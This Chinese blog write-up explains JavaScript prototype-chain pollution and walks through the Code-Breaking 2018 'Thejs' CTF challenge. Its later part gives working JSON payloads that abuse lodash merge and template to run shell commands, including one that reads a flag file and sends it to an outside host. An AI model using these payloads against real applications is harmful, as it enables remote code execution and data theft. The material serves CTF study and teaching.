一、原型链基础知识
关于原型链基础可以查看:继承与原型链
JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( proto ) ,层层向上直到一个对象(Object)的原型对象为 null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。
JavaScript 是动态的,本身不提供一个 class
实现(ES6 引入了 class
关键字,但只是语法糖,JavaScript 任然是基于原型的)
prototype 和 __proto__
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
1 2 3 4 5
| function Foo() { this.bar = 1 }
var foo = new Foo()
|
Foo 函数的内容,就是 Foo 类的构造函数,而 this.bar 就是Foo类的一个属性。
每个类有一个 prototype
属性,它指向该类的原型对象。
同样的每个实例也有一个 __proto__
属性指向实例对象的原型对象。
实例对象 __proto__
与该实例对象所属类的 prototype
是相等的
1 2 3 4 5 6 7
| function Foo() { this.bar = 1 }
var foo = new Foo()
console.log(foo.__proto__ === Foo.prototype)
|
附上 Smi1e 师傅的图便于理解
constructor
每个实例对象都有一个 constructor
属性指向对应的构造函数,即类。所以以下几种写法其实是相等的,都返回 Foo
类的原型对象。
1 2 3 4
| Foo.prototype foo["__proto__"] foo.__proto__ foo.constructor.prototype
|
原型链继承
所有类对象在实例化的时候将会拥有 prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
比如:
1 2 3 4 5 6 7 8 9 10 11 12 13
| function Father() { this.first_name = 'Donald' this.last_name = 'Trump' }
function Son() { this.first_name = 'Melania' }
Son.prototype = new Father()
let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`)
|
Son类继承了Father类的last_name
属性,最后输出的是Name: Melania Trump
。
JavaScript 的查找机制如下:
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name
- 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name
- 依次寻找,直到找到
null
结束。比如,Object.prototype
的 __proto__
就是 null
不同对象所生成的原型链如下(部分)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| var o = {a: 1};
var a = ["yo", "whadup", "?"];
function f(){ return 2; }
|
二、原型链污染原理
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value
原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象
merge 操作导致原型链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
|
注意,这里如果不使用 json parse 的话,__proto__
会被认为是原型对象,不是 key,就不会覆盖。
Code-Breaking 2018 Thejs
源码下载:http://code-breaking.com/puzzle/9/
下载之后 npm install
即可自动安装依赖
server.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| const fs = require('fs') const express = require('express') const bodyParser = require('body-parser') const lodash = require('lodash') const session = require('express-session') const randomize = require('randomatic')
const app = express() app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) app.use('/static', express.static('static')) app.use(session({ name: 'thejs.session', secret: randomize('aA0', 16), resave: false, saveUninitialized: false })) app.engine('ejs', function (filePath, options, callback) { fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options})
return callback(null, rendered) }) }) app.set('views', './views') app.set('view engine', 'ejs')
app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) })
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
|
lodash.template
渲染模版,lodash.merge
合并函数或对象。整个程序逻辑,获取 post 数据,然后通过 merge
函数合并到 session 当中并显示。
通过 merge
函数可以将属性值注入到最底层的 Object
,造成原型链污染,接下来找利用的点。
lodash/template.js
中(实际调试是在 lodash.js
第 14748
行 )
1 2 3 4 5 6 7
| var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
|
options.sourceURL
原本是没有赋值的,通过 merge
污染原型链注入 sourceURL
属性,然后在 Function
里拼接后执行。
关于 Function
构造函数可以参照这个链接,这里第一个参数为参数值,第二个参数我是把它理解为执行的函数的代码片段,所以可以通过加入 \r\n
字符注入恶意代码运行。
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function
这里直接给出 p神的可回显payload,需要注意坑点,原始 POST 提交,Content-Type
值为 application/x-www-form-urlencoded
,需要修改为 application/json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST / HTTP/1.1 Host: 10.17.123.212:3000 Content-Length: 187 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.17.123.212:3000 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.17.123.212:3000/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
{"__proto__":{"sourceURL":"\r\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\r\n//"}}
|
其他无回显 payload
1 2 3 4
| {"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}
{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://l0ca1.com/${result}`);req.end();\r\n"}}
|
这还有个 tip,因为范围原因,无法在 Function
函数里直接引用 require
,process
等模块,需要在前面添加 global
,可以查看 l0ca1 师傅的 writeup
https://blog.l0ca1.xyz/2018/11/25/Code-Breaking-JS/
1
| var require = global.require || global.process.mainModule.constructor._load
|
参考链接